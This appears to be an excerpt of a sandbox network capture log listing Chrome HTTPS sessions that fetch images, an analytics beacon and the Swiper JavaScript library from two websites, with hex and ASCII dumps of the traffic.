e6 09 3c 12 d4 a8 07 87 fa bc fa 09 ab b7 6e 6b 01 34 a8 22 38 ca Data Ascii: AX4p2Z^ItIYp??qNzWco8mgYT^ZkAn?[.fi(H$Xjj$,.H\b,oZ;4C);-J)yPGR^SOZ3UkXJcqPTY Y<nk4"8
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: ed fb 89 c0 f4 d6 ff 00 c7 d5 c6 d8 8a bd db 15 0e 27 17 9e 8b 23 31 41 4a 33 f8 a8 55 16 a2 82 a0 0f 5c de 1b 24 8a 46 a5 0d a6 0d e7 df 69 fd e7 e5 25 73 15 f4 d7 bb 5b 2e 5a 2d 72 a2 e9 fe 24 35 65 a8 f3 15 18 a1 cf 52 26 c5 ee 7e cf b9 4d 14 db 42 c4 cf 51 58 e4 09 1c d5 6e 05 09 60 24 e1 42 2a 0d 69 4e ac db bd 3f 96 c7 48 6f 98 ba c3 01 84 ca 64 33 d5 d9 ec 05 55 4c 8f 86 dd c9 57 f7 49 5e b8 d9 61 c9 62 65 a8 93 25 40 98 78 0d 58 8e 32 e5 22 94 28 f5 6b 62 7d 83 c4 9c c3 c8 db 86 d3 07 2d 5d 41 75 7f 7a 14 b8 0a 84 6a 00 12 7b 69 a4 55 a9 92 0e 3d 41 e9 cd b3 dd 7b ae 66 b3 e6 6b be 70 db 9a 2d b6 ca 42 b1 55 5d 4a a9 2c 3c 36 27 2c c4 28 38 06 95 f4 a7 55 e1 dd ff 00 c8 71 36 e4 72 57 ec be e0 a6 86 a2 18 56 a2 a2 97 75 e3 57 0e 90 ea 99 94 78 ea Data Ascii: '#1AJ3U\$Fi%s[.Z-r$5eR&~MBQXn`$B*iN?Hod3ULWI^abe%@xX2"(kb}-]Auzj{iU=A{fkp-BU]J,<6',(8Uq6rWVuWx
2024-09-27 03:51:00 UTC	10346	IN	Data Raw: c3 2e 52 a2 43 53 2c d1 10 ab 28 a8 79 75 31 d2 54 97 66 2a ab fe 3e e4 5d bd 11 a6 58 ed 21 fd 2a d3 85 00 fe 5d 00 af e5 2a ac f7 12 f7 53 8d 6b d1 a2 db 3b 5e aa 95 06 a0 7c 7a b5 5c ad b9 b7 d7 f0 7f c7 9f af e7 fc 24 7b 1b 53 0c 60 11 d4 7f 7f 72 b2 ca 6a c0 9f f5 7f ab e5 d3 9e 53 6e 25 55 dd e1 0d a8 9f c5 c1 b7 d0 f0 2f c9 ff 00 63 fe f1 ed 71 b4 8d a9 db c7 f9 f4 90 4e c3 35 e9 37 26 dc a1 86 39 c3 40 52 a1 e9 ff 00 c9 24 4d 0a d1 4e 05 cb 33 c9 24 68 81 8a d8 96 b0 02 ff 00 9f ac 7f cd db 64 81 0b c7 95 ae 7e cf 4f cb a1 ff 00 2a 5f 23 0f 0e 43 46 e0 0f f9 fa 57 e0 37 36 17 67 d2 c6 b9 99 a0 92 59 a6 92 a9 05 2d 42 cd 2c 6f 29 89 1a 2a 39 69 ea 25 84 1a 66 0a 00 ba 81 76 60 78 b7 b8 03 71 da ae ef ee 1f c1 46 11 ae 32 29 eb c6 bf e1 ea 69 db f7 Data Ascii: .RCS,(yu1Tf>]X!]Sk;^\|z\${S`rjSn%U/cqN57&9@R$MN3$hd~O_#CFW76gY-B,o)*9i%fv`xqF2)i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49833	211.149.140.201	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:59 UTC	609	OUT	GET /resources/assets/images/about6.jpg HTTP/1.1 Host: www.strlaser.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:00 UTC	347	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:51:08 GMT Content-Type: image/jpeg Content-Length: 20659 Last-Modified: Fri, 24 Mar 2023 07:51:26 GMT Connection: close ETag: "641d567e-50b3" Expires: Sun, 27 Oct 2024 03:51:08 GMT Cache-Control: max-age=2592000 Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-09-27 03:51:00 UTC	16037	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 1d 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyPhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xm
2024-09-27 03:51:00 UTC	4622	IN	Data Raw: bb 12 4b 13 d4 92 75 e9 c1 e4 80 c9 6d 30 f8 02 f2 8d 48 23 a9 14 ea 7d ba 09 24 a8 ec 2d ad 3e 20 40 89 48 07 a7 4d 24 58 de f3 30 77 3c 55 77 3b 9d f6 d5 10 cb bf f2 fd 8b 19 1f a8 f8 a1 31 0b f8 58 cd c2 07 34 1b ed 51 a6 9a 4c 22 4e c2 62 c0 16 71 84 3d 05 3d 9b 69 02 17 9f f3 0a 93 a0 0f 0e fe 3f 66 80 3e 34 a3 51 77 d2 03 e2 77 27 a7 96 80 1c 6c 95 3d 09 5e 46 6a 2d 42 14 a1 3c b6 a5 6b e1 ac 72 6e 76 f8 eb db 22 6f 55 bf 7b fe 67 9e ae 08 e4 fb f5 27 7d c7 63 73 63 6f 90 b3 bb b7 7b 5b 8b 47 02 7b 77 14 e2 79 0e b4 1f df a7 5b 26 a5 18 da 56 e7 2d 7f 32 c6 3f f5 5d a9 8d 87 a9 f8 4a 48 07 97 23 4d 59 06 5a 20 d7 97 1e 74 6a 90 7f bf 4c 62 c1 28 d8 9d 9b 62 68 69 4d 00 28 86 ee 70 ea a1 ea 8d 55 75 6d c1 04 50 d7 49 97 4d c6 0c 9f 6f da cf 15 99 4f Data Ascii: Kum0H#}$-> @HM$X0w<Uw;1X4QL"Nbq==i?f>4Qww'l=^Fj-B<krnv"oU{g'}csco{[G{wy[&V-2?]JH#MYZ tjLb(bhiM(pUumPIMoO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49836	211.149.140.201	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:59 UTC	609	OUT	GET /resources/assets/images/about2.jpg HTTP/1.1 Host: www.strlaser.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:00 UTC	347	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:51:08 GMT Content-Type: image/jpeg Content-Length: 33363 Last-Modified: Wed, 15 Mar 2023 02:52:06 GMT Connection: close ETag: "641132d6-8253" Expires: Sun, 27 Oct 2024 03:51:08 GMT Cache-Control: max-age=2592000 Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-09-27 03:51:00 UTC	16037	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 2f 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyP/http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xm
2024-09-27 03:51:00 UTC	16384	IN	Data Raw: 05 dc 13 a0 49 36 b0 4b d3 38 64 2a 7c e9 5a e0 03 47 6d 65 67 72 a8 24 4b b2 d1 8a 24 37 32 b3 85 f2 15 34 1e ec 12 03 09 2d 62 89 02 a5 ab 05 27 22 bc 7e f1 80 08 44 8b 6c 44 9d 07 8d 97 30 58 ad 47 9d 41 14 38 6a 67 40 71 cc d6 c1 de cd 25 b2 d8 6e 09 6d bc 42 a4 68 b5 9d 83 30 23 81 56 4a 90 46 3a d6 7c 8d 45 94 af 6a 39 7a 38 e6 6a e1 fb 06 b6 69 b1 77 05 c4 36 c2 cf 79 da 67 99 82 0b cb 7e a5 dd b8 ae 5e a0 c0 90 2b cc 70 c5 53 15 32 69 b5 af c8 57 c9 6c 69 b9 4c ea 96 df 4b fb 6a d2 cd e4 dd 22 bb bb 95 6a 25 bc b3 99 44 6a 00 f8 99 64 24 f9 fa 4e 37 7d a6 3a f1 30 af 79 7b bd 16 85 8b 77 da dd b7 6e f1 ec 5d b2 97 b2 3a 14 6b cb c3 03 c6 cf 91 56 60 d3 89 0a 82 2b 90 18 1d ab 4d 12 fc 86 ab 6b ea d9 9c f9 fe e7 fd 4f e7 ff 00 a8 fb 1b e5 f4 d7 f4 Data Ascii: I6K8d*\|ZGmegr$K$724-b'"~DlD0XGA8jg@q%nmBh0#VJF:\|Ej9z8jiw6yg~^+pS2iWliLKj"j%Djd$N7}:0y{wn]:kV`+MkO
2024-09-27 03:51:00 UTC	942	IN	Data Raw: fb 75 f2 95 d9 4c 8a 4c 61 c1 2a 33 43 9f db 8e 66 99 bd 6d c8 62 67 57 5d 2a a0 35 73 6f 21 8d a8 fc 46 cb 0c ca 34 33 49 a3 2c 86 34 da 4e f2 89 b7 38 21 90 b6 a1 1b 1a f1 6a d3 dd 8a 55 21 e4 15 4d dc 8a ac ba 01 7d 55 18 36 e8 2e a6 a5 b0 6e ab 73 44 99 e8 d9 8d 3c 3e c3 81 54 6e c1 8f 25 ba 02 ce e1 47 22 4f 3c 27 54 0a e2 96 dc ad cc 9a 75 8a 12 43 01 c3 19 da a5 2b 0a d5 20 96 49 17 58 0a cc 49 f0 c3 d6 08 8d 49 cd 6a 60 a4 d0 82 4a 9d 6c 39 91 e5 86 9e b0 c5 64 d0 de d6 f6 39 94 92 6a dc d4 e5 51 88 b2 82 eb 0c 60 59 3a 5a 85 14 8e 46 9e 18 49 15 a0 1c d7 96 ea 1a 34 50 24 19 9e 23 04 04 a1 61 b9 0c c1 2a 09 1c 41 f2 c5 aa 93 25 9d 45 1e 92 41 04 8a 29 19 d7 08 6c 82 bb 12 4a 9c d8 91 a3 89 a6 2d b2 22 46 29 32 34 48 5d 4c 6d 16 43 3c fe fc 62 ea Data Ascii: uLLa3CfmbgW]5so!F43I,4N8!jU!M}U6.nsD<>Tn%G"O<'TuC+ IXIIj`Jl9d9jQ`Y:ZFI4P$#a*A%EA)lJ-"F)24H]LmC<b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49842	90.84.161.25	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:59 UTC	581	OUT	POST /v6/collect?dt=4 HTTP/1.1 Host: collect-v6.51.la Connection: keep-alive Content-Length: 356 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.hbyczyz.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:59 UTC	356	OUT	Data Raw: 1f 8b 08 00 a1 2b f6 66 00 03 65 51 c1 4a c3 40 10 fd 95 92 a3 b8 4d 36 c9 66 93 de 7a 92 8a 68 a1 88 07 f1 90 ec 6e 6c 69 4d 6b 93 34 a6 22 14 8a a7 7a a8 08 22 d5 a3 87 de a4 55 44 85 e2 c7 34 29 f6 2f ec ae 11 c4 de 86 37 6f e6 cd 7b 73 2e d5 a8 54 c8 49 db 4c ed 9c 85 5b b5 d3 52 2b de dd 39 b0 a4 cd 9c d4 0e 56 1d 88 55 ac 2b 96 82 b0 a1 c0 15 18 70 50 8a ab 48 d3 34 d3 5c de bc 2e a6 cf 87 e9 c3 60 39 ba 3f 4a 3e 27 c9 fb 70 d9 1f 83 d2 5e 45 2e 7a b4 dd ac 51 b9 58 2e 27 6f 83 af d9 8c ef ac 47 eb e3 1c a7 fe 3a 3e ef 0d ab 4e 4c ba 71 37 4f 9a 27 f3 de f5 e2 ee 29 f9 18 2d 5e a6 e9 e3 28 bd ec a7 57 b7 e9 78 c2 a7 fd 1f 13 4c 73 b1 a3 52 02 1c 0d b9 00 39 0e 03 b6 6d 41 e0 1a d4 c4 1a 36 2c 64 e8 9c 4e 42 ce ae 06 41 cb 2f c8 72 14 45 f9 3f 3a 32 Data Ascii: +feQJ@M6fzhnliMk4"z"UD4)/7o{s.TIL[R+9VU+pPH4\.`9?J>'p^E.zQX.'oG:>NLq7O')-^(WxLsR9mA6,dNBA/rE?:2
2024-09-27 03:50:59 UTC	409	IN	HTTP/1.1 200 Date: Fri, 27 Sep 2024 03:50:59 GMT Content-Length: 0 Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: https://www.hbyczyz.com Access-Control-Allow-Credentials: true via: EU-GER-frankfurt-EDGE5-CACHE6[320],EU-GER-frankfurt-EDGE5-CACHE6[ovl,319] X-CCDN-REQ-ID-46B1: be307c250f9989257aeceba87865feed

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49837	211.149.140.201	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:59 UTC	609	OUT	GET /resources/assets/images/about4.jpg HTTP/1.1 Host: www.strlaser.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:00 UTC	347	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:51:08 GMT Content-Type: image/jpeg Content-Length: 28554 Last-Modified: Wed, 15 Mar 2023 02:52:48 GMT Connection: close ETag: "64113300-6f8a" Expires: Sun, 27 Oct 2024 03:51:08 GMT Cache-Control: max-age=2592000 Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-09-27 03:51:00 UTC	16037	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 2f 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyP/http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xm
2024-09-27 03:51:00 UTC	12517	IN	Data Raw: d0 14 55 97 30 22 ea db ec 25 c8 8c 7a b2 a4 ed f6 e2 b7 d9 6a 7a 1a 0a ba cb d3 d5 9e 93 29 c5 f6 57 26 b3 91 5a ed 8c 5e 12 3a 7b d9 df b8 75 ed 7a 4a 7a 43 54 94 b0 00 0d b4 3c c4 00 3e 52 44 e7 ef 85 eb 6e 0c 3e 55 11 b7 f1 1b 7d c9 7d ca 54 df 36 ed a5 34 8c 06 9b b7 55 75 d4 52 66 49 58 d1 c3 90 3c 60 b0 ed 78 7d 0a 17 1d 53 17 25 d4 c4 8f 77 ce ee f6 a0 84 ac 8e 64 c5 9f 6c 91 5f 91 b0 53 bd db dc 35 1f 2a 55 ff 00 7a 3b c3 14 12 72 63 07 3b 89 b9 dd 33 0a d1 ca 6a 8e 50 89 38 99 e1 1d c4 dc ad e2 56 15 cf 18 2f 14 59 0a 53 41 7a 5e ea 5f 1b 23 5a 54 65 c8 c4 7d bc 58 6b 91 24 1e 63 bc 17 14 0f 32 16 3d f1 1f 67 90 fe f1 a0 a3 7d e6 79 3f 3a 96 3e 31 df 62 77 f9 1c 0f 91 de 90 04 cb c4 7b e3 bf c7 bf 43 bf c9 a0 25 e3 b8 cf dd db 21 a7 09 0b e3 02 Data Ascii: U0"%zjz)W&Z^:{uzJzCT<>RDn>U}}T64UuRfIX<`x}S%wdl_S5*Uz;rc;3jP8V/YSAz^_#ZTe}Xk$c2=g}y?:>1bw{C%!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49845	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:59 UTC	901	OUT	GET /resources/assets/lib/js/swiper-bundle.min.js?v=0.574 HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __tins__21261259=%7B%22sid%22%3A%201727409055278%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201727410855278%7D; __51cke__=; __51laig__=1; __vtins__Je2vxuGiqIpyNLW9=%7B%22sid%22%3A%20%22e3f7b2dc-b35f-5bbe-aa91-f6d873769564%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201727409599999%2C%20%22ct%22%3A%201727409057601%7D; __51uvsct__Je2vxuGiqIpyNLW9=1; __51vcke__Je2vxuGiqIpyNLW9=e5167a3d-b8ba-5181-acee-14e115d2e457; __51vuft__Je2vxuGiqIpyNLW9=1727409057614
2024-09-27 03:50:59 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:34 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
2024-09-27 03:50:59 UTC	16178	IN	Data Raw: 66 66 61 38 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 65 7c 7c 73 65 6c 66 29 2e 53 77 69 70 65 72 3d 74 28 29 7d 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 72 65 74 75 Data Ascii: ffa8!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).Swiper=t()}(this,(function(){"use strict";function e(e){retu
2024-09-27 03:50:59 UTC	16384	IN	Data Raw: 22 20 22 29 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 7b 76 6f 69 64 20 30 3d 3d 3d 74 3f 73 2e 65 76 65 6e 74 73 4c 69 73 74 65 6e 65 72 73 5b 65 5d 3d 5b 5d 3a 73 2e 65 76 65 6e 74 73 4c 69 73 74 65 6e 65 72 73 5b 65 5d 26 26 73 2e 65 76 65 6e 74 73 4c 69 73 74 65 6e 65 72 73 5b 65 5d 2e 66 6f 72 45 61 63 68 28 28 28 61 2c 69 29 3d 3e 7b 28 61 3d 3d 3d 74 7c 7c 61 2e 5f 5f 65 6d 69 74 74 65 72 50 72 6f 78 79 26 26 61 2e 5f 5f 65 6d 69 74 74 65 72 50 72 6f 78 79 3d 3d 3d 74 29 26 26 73 2e 65 76 65 6e 74 73 4c 69 73 74 65 6e 65 72 73 5b 65 5d 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 29 29 7d 29 29 2c 73 29 3a 73 7d 2c 65 6d 69 74 28 29 7b 63 6f 6e 73 74 20 65 3d 74 68 69 73 3b 69 66 28 21 65 2e 65 76 65 6e 74 73 4c 69 73 74 65 6e 65 72 73 7c 7c 65 2e 64 65 73 Data Ascii: " ").forEach((e=>{void 0===t?s.eventsListeners[e]=[]:s.eventsListeners[e]&&s.eventsListeners[e].forEach(((a,i)=>{(a===t\|\|a.__emitterProxy&&a.__emitterProxy===t)&&s.eventsListeners[e].splice(i,1)}))})),s):s},emit(){const e=this;if(!e.eventsListeners\|\|e.des
2024-09-27 03:50:59 UTC	16384	IN	Data Raw: 74 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 73 2c 62 29 29 7d 29 2c 72 2e 24 77 72 61 70 70 65 72 45 6c 5b 30 5d 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 72 2e 6f 6e 53 6c 69 64 65 54 6f 57 72 61 70 70 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 29 2c 72 2e 24 77 72 61 70 70 65 72 45 6c 5b 30 5d 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 77 65 62 6b 69 74 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 72 2e 6f 6e 53 6c 69 64 65 54 6f 57 72 61 70 70 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 29 29 2c 21 30 7d 2c 73 6c 69 64 65 54 6f 4c 6f 6f 70 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 73 2c 61 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 65 26 26 28 65 3d 30 29 2c 76 6f 69 64 20 30 3d Data Ascii: transitionEnd(s,b))}),r.$wrapperEl[0].addEventListener("transitionend",r.onSlideToWrapperTransitionEnd),r.$wrapperEl[0].addEventListener("webkitTransitionEnd",r.onSlideToWrapperTransitionEnd)),!0},slideToLoop:function(e,t,s,a){if(void 0===e&&(e=0),void 0=
2024-09-27 03:50:59 UTC	16384	IN	Data Raw: 6c 61 73 73 4e 61 6d 65 73 3a 74 7d 3d 74 68 69 73 3b 65 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 74 2e 6a 6f 69 6e 28 22 20 22 29 29 2c 74 68 69 73 2e 65 6d 69 74 43 6f 6e 74 61 69 6e 65 72 43 6c 61 73 73 65 73 28 29 7d 7d 3b 76 61 72 20 57 3d 7b 69 6e 69 74 3a 21 30 2c 64 69 72 65 63 74 69 6f 6e 3a 22 68 6f 72 69 7a 6f 6e 74 61 6c 22 2c 74 6f 75 63 68 45 76 65 6e 74 73 54 61 72 67 65 74 3a 22 77 72 61 70 70 65 72 22 2c 69 6e 69 74 69 61 6c 53 6c 69 64 65 3a 30 2c 73 70 65 65 64 3a 33 30 30 2c 63 73 73 4d 6f 64 65 3a 21 31 2c 75 70 64 61 74 65 4f 6e 57 69 6e 64 6f 77 52 65 73 69 7a 65 3a 21 30 2c 72 65 73 69 7a 65 4f 62 73 65 72 76 65 72 3a 21 30 2c 6e 65 73 74 65 64 3a 21 31 2c 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 73 3a 21 31 2c 65 6e 61 62 6c 65 64 3a Data Ascii: lassNames:t}=this;e.removeClass(t.join(" ")),this.emitContainerClasses()}};var W={init:!0,direction:"horizontal",touchEventsTarget:"wrapper",initialSlide:0,speed:300,cssMode:!1,updateOnWindowResize:!0,resizeObserver:!0,nested:!1,createElements:!1,enabled:
2024-09-27 03:50:59 UTC	16384	IN	Data Raw: 74 69 76 65 3a 6c 2c 72 65 63 72 65 61 74 65 53 68 61 64 6f 77 73 3a 6f 2c 67 65 74 45 66 66 65 63 74 50 61 72 61 6d 73 3a 64 7d 3d 65 3b 6c 65 74 20 63 3b 61 28 22 62 65 66 6f 72 65 49 6e 69 74 22 2c 28 28 29 3d 3e 7b 69 66 28 73 2e 70 61 72 61 6d 73 2e 65 66 66 65 63 74 21 3d 3d 74 29 72 65 74 75 72 6e 3b 73 2e 63 6c 61 73 73 4e 61 6d 65 73 2e 70 75 73 68 28 60 24 7b 0d 0a 66 66 66 38 0d 0a 73 2e 70 61 72 61 6d 73 2e 63 6f 6e 74 61 69 6e 65 72 4d 6f 64 69 66 69 65 72 43 6c 61 73 73 7d 24 7b 74 7d 60 29 2c 6c 26 26 6c 28 29 26 26 73 2e 63 6c 61 73 73 4e 61 6d 65 73 2e 70 75 73 68 28 60 24 7b 73 2e 70 61 72 61 6d 73 2e 63 6f 6e 74 61 69 6e 65 72 4d 6f 64 69 66 69 65 72 43 6c 61 73 73 7d 33 64 60 29 3b 63 6f 6e 73 74 20 65 3d 6e 3f 6e 28 29 3a 7b 7d 3b 4f Data 